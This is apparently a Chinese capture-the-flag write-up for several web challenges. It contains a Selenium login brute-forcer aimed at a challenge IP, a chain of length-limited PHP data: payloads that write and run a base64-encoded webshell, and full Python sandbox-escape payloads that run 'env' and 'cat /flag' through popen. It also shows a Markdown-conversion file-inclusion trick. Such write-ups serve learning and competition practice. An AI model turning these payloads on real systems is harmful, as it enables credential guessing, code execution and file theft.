渗透测试 进入是登录框,抓包可以看到参数和响应都加密了:
给了密码本,那应该是爆破密码,不过由于参数被加密,要用requests库的话就要逆向js了,我比较菜,就选择用selenium库了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 import requestsfrom pathlib import Pathimport refrom typing import Union import threadingimport importlibimport platformimport timefrom selenium import webdriverfrom selenium.webdriver.chrome.service import Service as ChromeServicefrom selenium.webdriver.chrome.options import Options as ChromeOptionsfrom webdriver_manager.chrome import ChromeDriverManagerfrom selenium.webdriver.common.by import Byfrom selenium.webdriver.support.ui import WebDriverWaitfrom selenium.webdriver.support import expected_conditions as ECdef get_web_driver (browser="chrome" , driver_path=None , show_window=False ) -> webdriver: """ 初始化浏览器驱动 :param browser: 浏览器类型,默认使用 Chrome :param driver_path: 使用自定义路径,默认为空 :param show_window: 是否需要展示窗口 :return: """ if browser == "chrome" : try : if driver_path is None or driver_path == "" : driver_path = Path(ChromeDriverManager().install()) driver_dir = driver_path if driver_path.is_dir() else driver_path.parent driver_path = driver_dir / "chromedriver.exe" service = ChromeService(executable_path=str (driver_path)) options = ChromeOptions() options.add_argument("--no-first-run" ) options.add_argument("--disable-infobars" ) options.add_argument("--start-maximized" ) options.add_experimental_option('useAutomationExtension' , False ) options.add_experimental_option('excludeSwitches' , ['enable-automation' ]) options.add_argument('--disable-blink-features=AutomationControlled' ) options.add_argument("user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 Edg/141.0.0.0" ) driver = webdriver.Chrome(service=service, options=options) except Exception as e: raise Exception("无法初始化浏览器,请检查网络或手动安装 ChromeDriver" ) elif browser == "edge" : raise Exception("暂未开发Edge浏览器支持" ) else : raise Exception(f"不支持的浏览器类型: {browser} " ) driver.execute_cdp_cmd("Page.addScriptToEvaluateOnNewDocument" , { "source" : """ Object.defineProperty(navigator, 'webdriver', { get: () => undefined }) """ }) driver.execute_cdp_cmd("Browser.resetPermissions" , {}) driver.set_page_load_timeout(300 ) return driver def get_passwords (): with open ("152252_passwords.txt" , "r" ) as fp: data = fp.readlines() return data if __name__ == "__main__" : local_driver_path = "C:\\Users\\86156\\.wdm\\drivers\\chromedriver\\win64\\143.0.7499.42\\chromedriver-win32\\chromedriver.exe" driver = get_web_driver(driver_path=local_driver_path) driver.get("http://114.66.24.228:31557" ) wait = WebDriverWait(driver, 10 ) username_input = wait.until(EC.presence_of_element_located((By.ID, "username" ))) password_input = driver.find_element(By.ID, "password" ) passwords = get_passwords() i = 0 while i <= len (passwords): password = passwords[i].strip() username_input.clear() username_input.send_keys("admin" ) password_input.clear() password_input.send_keys(password) login_button = driver.find_element(By.ID, "sendBtn" ) login_button.click() time.sleep(0.1 ) result_element = wait.until( EC.presence_of_element_located((By.ID, "result" )) ) result_text = result_element.text.strip() print (f"{i} /{len (passwords)} " , password, result_text) i += 1 if result_text is None or result_text == "" or result_text == "Hacker!" : i -= 1 continue if result_text != "login failed!" : break
脚本倒是有点小问题,密码的提交结果似乎延后了一个,爆破完后手动再测试,密码应该是5V26s9dBZQVBZgyyVC00baeW
signin 题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );$blacklist = ['/' , 'convert' , 'base' , 'text' , 'plain' ];$file = $_GET ['file' ];foreach ($blacklist as $banned ) { if (strpos ($file , $banned ) !== false ) { die ("这个是不允许的哦~" ); } } if (isset ($file ) && strlen ($file ) <= 20 ){ include $file ; };
显然漏洞利用点是include,可以打文件包含
/被过滤,不能直接包含/flag,尝试伪协议
data://xxx,xxx实际上用data:,xxx也可以代替,/并不是刚需
限制了payload长度,找到最短的webshell是:
/被ban了,没法直接读flag,尝试多次cd ..又会超字符限制,相当于要打一个8字符RCE,可参考:CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总_ctf中字符长度限制下的命令执行 5个字符-CSDN博客
依次运行payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 data:,<?=`>hp`; data:,<?=`>1.p\\`; data:,<?=`>d\>\\`; data:,<?=`>\ -\\`; data:,<?=`>e64\\`; data:,<?=`>bas\\`; data:,<?=`>7\|\\`; data:,<?=`>XSk\\`; data:,<?=`>Fsx\\`; data:,<?=`>dFV\\`; data:,<?=`>kX0\\`; data:,<?=`>bCg\\`; data:,<?=`>XZh\\`; data:,<?=`>AgZ\\`; data:,<?=`>waH\\`; data:,<?=`>PD9\\`; data:,<?=`>o\ \\`; data:,<?=`>ech\\`; data:,<?=`ls -t>0`; data:,<?=`sh 0`;
I really really really normal 简单fuzz一下存在以下WAF:
1 2 3 4 5 6 7 8 9 10 11 0123456789 [] __ \ {} '' "" ; def class getitem
__builtins__被清空
每行限制字符不超过30
通过继承链可以找回内置类,进而通过这些内置类获取到敏感方法
首先获取基类:
__和class被过滤了,可以通过unicode编码斜体字绕过:
不过有几种被专门waf了:
可以用︴,它也会被解析为_
此处需要注意的是,魔术方法最前面的下划线需要是非unicode的,即写成_︴class︴︴
所以获取基类:
1 obj=()._︴cl𝖆ss︴︴._︴base︴︴
进一步获取继承类:
1 o_sub=obj._︴subcl𝖆sses︴︴()
当然继承类很多,由于方括号被ban了,暂时没法直接通过索引的方式获取需要的类
我这里采用的方法是,依次pop(),直到pop()到需要的类
通过list + dict可以构造指定字符串:
1 list (dict (whoami=1 )).pop()
于是先恢复list和dict,获取下索引:
(此处尽可能使用和环境相同或相近的python版本)
pop(0)就是弹出列表第一个元素,可用pop(False)替代,pop(False) 27次得到dict,39次得到list,即:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) dict =o_sub.pop(False )o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) list =o_sub.pop(False )
(PS: 其实也不需要这样一次次pop(),通过while语句会更方便,赛时犯蠢了,后面想起来后,已构造好的也懒得改了,数字的构造参考后文)
一个个pop太多了,现在既然恢复dict和list可以构造字符串绕过引号了,通过一个循环语句和条件判断语句会更方便:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 wa=list (dict (_w=f)).pop() wa+=list (dict (rap=f)).pop() wa+=list (dict (_cl=f)).pop() wa+=list (dict (ose=f)).pop() o_sub=obj._︴subcl𝖆sses︴︴() wao=None for x in o_sub: if wa == x._︴name︴︴: wao = x break glo=wao._︴init︴︴._︴globals ︴︴ po=list (dict (pop=f)).pop() po+=list (dict (en=f)).pop() cmd=list (dict (env=f)).pop() ret=glo.get(po)(cmd).read()
但是这样没有回显,不过简单观察一下就可以发现,如果代码执行出错,我们可以获取报错内容:
利用Exception主动抛出错误即可,当然也需要先恢复一下Exception类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 be=list (dict (Ba=f)).pop() be+=list (dict (se=f)).pop() be+=list (dict (Ex=f)).pop() be+=list (dict (ce=f)).pop() be+=list (dict (pti=f)).pop() be+=list (dict (on=f)).pop() o_sub=obj._︴subcl𝖆sses︴︴() beo=None for x in o_sub: if be == x._︴name︴︴: beo = x break epo = beo._︴subcl𝖆sses︴︴() epo.pop() epo.pop() epo.pop() epo = epo.pop()
简单串联一下即可,normal完整payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 f = False obj=()._︴cl𝖆ss︴︴._︴base︴︴ o_sub=obj._︴subcl𝖆sses︴︴() o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) dict =o_sub.pop(False )o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) list =o_sub.pop(False )be=list (dict (Ba=f)).pop() be+=list (dict (se=f)).pop() be+=list (dict (Ex=f)).pop() be+=list (dict (ce=f)).pop() be+=list (dict (pti=f)).pop() be+=list (dict (on=f)).pop() o_sub=obj._︴subcl𝖆sses︴︴() beo=None for x in o_sub: if be == x._︴name︴︴: beo = x break epo = beo._︴subcl𝖆sses︴︴() epo.pop() epo.pop() epo.pop() epo = epo.pop() wa=list (dict (_w=f)).pop() wa+=list (dict (rap=f)).pop() wa+=list (dict (_cl=f)).pop() wa+=list (dict (ose=f)).pop() o_sub=obj._︴subcl𝖆sses︴︴() wao=None for x in o_sub: if wa == x._︴name︴︴: wao = x break glo=wao._︴init︴︴._︴globals ︴︴ po=list (dict (pop=f)).pop() po+=list (dict (en=f)).pop() cmd=list (dict (env=f)).pop() ret=glo.get(po)(cmd).read() raise epo(ret)
revenge 这下/flag不在环境变量了,不能直接env,而需要cat /flag了
其中空格和/没法通过list(dict(env=f)).pop()这样来获取了,那就要用到chr()和数字了
对于数字过滤,可以通过True和False配合数学运算构造
True即是1,False即是0,由此构造获得数字:
1 2 3 4 5 6 7 8 9 10 11 12 13 f = False t = True na=f nb=na+t nc=nb+t nd=nc+t ne=nd+t nf=ne+t ng=nf+t nh=ng+t ni=nh+t nj=ni+t
再恢复chr:
1 2 3 4 5 6 7 8 9 10 11 _bu=list (dict (_=f)).pop() _bu+=list (dict (_bu=f)).pop() _bu+=list (dict (ilt=f)).pop() _bu+=list (dict (ins=f)).pop() _bu+=list (dict (_=f)).pop() _bu+=list (dict (_=f)).pop() ch = list (dict (chr =f)).pop() chr =glo.get(_bu).get(ch)
再构造空格和/:
1 2 sl = chr (ng*ni-nb) sp = chr (ne*ni)
再老样子拼接出cat /flag即可,revenge完整payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 f = False t = True na=f nb=na+t nc=nb+t nd=nc+t ne=nd+t nf=ne+t ng=nf+t nh=ng+t ni=nh+t nj=ni+t obj=()._︴cl𝖆ss︴︴._︴base︴︴ o_sub=obj._︴subcl𝖆sses︴︴() o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) dict =o_sub.pop(False )o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) o_sub.pop(False ) list =o_sub.pop(False )be=list (dict (Ba=f)).pop() be+=list (dict (se=f)).pop() be+=list (dict (Ex=f)).pop() be+=list (dict (ce=f)).pop() be+=list (dict (pti=f)).pop() be+=list (dict (on=f)).pop() o_sub=obj._︴subcl𝖆sses︴︴() beo=None for x in o_sub: if be == x._︴name︴︴: beo = x break epo = beo._︴subcl𝖆sses︴︴() epo.pop() epo.pop() epo.pop() epo = epo.pop() wa=list (dict (_w=f)).pop() wa+=list (dict (rap=f)).pop() wa+=list (dict (_cl=f)).pop() wa+=list (dict (ose=f)).pop() o_sub=obj._︴subcl𝖆sses︴︴() wao=None for x in o_sub: if wa == x._︴name︴︴: wao = x break glo=wao._︴init︴︴._︴globals ︴︴ _bu=list (dict (_=f)).pop() _bu+=list (dict (_bu=f)).pop() _bu+=list (dict (ilt=f)).pop() _bu+=list (dict (ins=f)).pop() _bu+=list (dict (_=f)).pop() _bu+=list (dict (_=f)).pop() ch = list (dict (chr =f)).pop() chr =glo.get(_bu).get(ch)po=list (dict (pop=f)).pop() po+=list (dict (en=f)).pop() sl = chr (ng*ni-nb) sp = chr (ne*ni) cmd=list (dict (cat=f)).pop() cmd+=sp cmd+=sl cmd+=list (dict (fl=f)).pop() cmd+=list (dict (ag=f)).pop() ret=glo.get(po)(cmd).read() raise epo(ret)
ultimate unicode也不让用了,老样子获取继承链行不通
这里需要用到栈帧逃逸,可以看这位师傅的博客:沙箱逃逸 | Blog of AyaN0
不过def和class都被过滤了不能直接用原pyload,简单改造一下:
1 2 3 4 5 6 7 8 a = ( a.gi_frame.f_back for i in (True ,)) (a,) = a globals = a.f_globalsprint (globals )
不过对于沙箱环境,需要再f_back一次:
然后拿到__builtins__可以通过try ... execpt ...语句配合for循环进行:
1 2 3 4 5 6 7 8 9 10 11 12 __builtins__有chritems=globals .copy().items() bls = None blo = None for k,v in items: try : v.chr bls=k blo=v break except : pass
由此就恢复了__builtins__,再参考normal和revenge的做法即可
不同的是,这里我既然都恢复了内置函数,就直接使用eval执行命令了,不过需要注意手动设置eval的__builtins__
ultimate的完整payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 f = False t = True na=f nb=na+t nc=nb+t nd=nc+t ne=nd+t nf=ne+t ng=nf+t nh=ng+t ni=nh+t nj=ni+t a = ( a.gi_frame.f_back for i in (t,)) (a,) = a globals = a.f_back.f_globalsitems=globals .copy().items() bls = None blo = None for k,v in items: try : v.chr bls=k blo=v break except : pass chr =blo.chr exp=blo.Exception list =blo.list dict =blo.dict xh=list (dict (_=f)).pop() xh+=list (dict (_=f)).pop() kg = chr (ne*ni) xg = chr (ng*ni-nb) zkh=chr (nf*ni) ykh=chr (nf*ni+nb) yh=chr (nf*ni-nb) d=chr (ng*nh+ne) cmd=list (dict (cat=f)).pop() cmd+=kg cmd+=xg cmd+=list (dict (fl=f)).pop() cmd+=list (dict (ag=f)).pop() imp=xh imp+=list (dict (imp=f)).pop() imp+=list (dict (ort=f)).pop() imp+=xh imp+=zkh imp+=yh imp+=list (dict (os=f)).pop() imp+=yh imp+=ykh imp+=d imp+=list (dict (po=f)).pop() imp+=list (dict (p=f)).pop() imp+=list (dict (en=f)).pop() imp+=zkh imp+=yh imp+=cmd imp+=yh imp+=ykh imp+=d imp+=list (dict (re=f)).pop() imp+=list (dict (ad=f)).pop() imp+=zkh imp+=ykh bl=dict (((bls, blo),)) data = blo.eval (imp,bl) raise exp(data)
Markdown2world 简单抓包测试了一下,似乎只能从markdown转成html, docx, rtf, epub, odt, plain
在markdown当中,通过这样的语法是可以包含本地文件的。
通过转化工具,一些格式可能并不支持动态包含本地文件,那么在转化过程中,就可能将服务器上本地内容直接保存在转化后文件当中,于是我挨个测试了一下支持转化的这几种文件格式。
首先原始的markdown文档内容是:
转成html的结果:
转成docx的结果:
虽然显示不出来,但是解压一下docx文档可以在./word/media/rId9.so文件中看到:
转成rtf的结果:
转成epub格式:
解压文件后在./EPUB/media/file0文件中可以找到:
转成odt格式:
解压后在./Pictures/0文件中可以找到:
转成plain格式
总结来说,docx,epub,odt这几个格式都行,随便选一个读flag即可: